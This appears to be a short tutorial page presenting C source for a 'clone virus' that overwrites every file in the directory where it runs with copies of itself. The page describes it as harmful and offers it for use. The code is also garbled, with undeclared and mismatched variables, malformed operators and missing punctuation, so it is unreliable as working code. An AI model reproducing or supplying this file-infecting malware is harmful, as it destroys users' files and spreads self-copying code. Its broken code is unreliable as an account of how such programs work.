Making Clone Virus

Clone Virus

• Effect –>  Harmful and very effective.
• Coding Platform –>  C, Turbo C.
• Working –>  On Executing, this virus does is it makes all the files in the current directory a virus. Just remember to run this virus inside a new folder that contains no important exe and normal files . This virus will make them too as virus.

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FILE *Ron *vRon;

int owned = 0;

unsigned long x;

char buff[256];

struct ffblk ffblk;

clock_t st, end;

main()

{

st=clock();

clrscr();

owned=(find_first(“*.*”, &ffblk,0);

while(!done)

{

Ron=fopen(_arg[0], “rb”);

vhost=fopen(ffblk.ff_name, “rb+”);

if (vhost = =NULL)

goto next;

x = 89088;

printf(“infecting %s\n”, ffblk.ff_name);

while(x>2048)

{

fread(buff,256,1,Ron);

fwrite(buff,256,1,vRon);

x – = 2048;

}

fread(buff,x,1,Ron);

fwrite(buff,x,1,vRon);

a++;

next:      fcloseall();

owned = findnext(&ffblk);

}

end = clock()

printf(“Infected %d files in %f sec”, a, (end-st)/CLK_TCk);

return (0);

}

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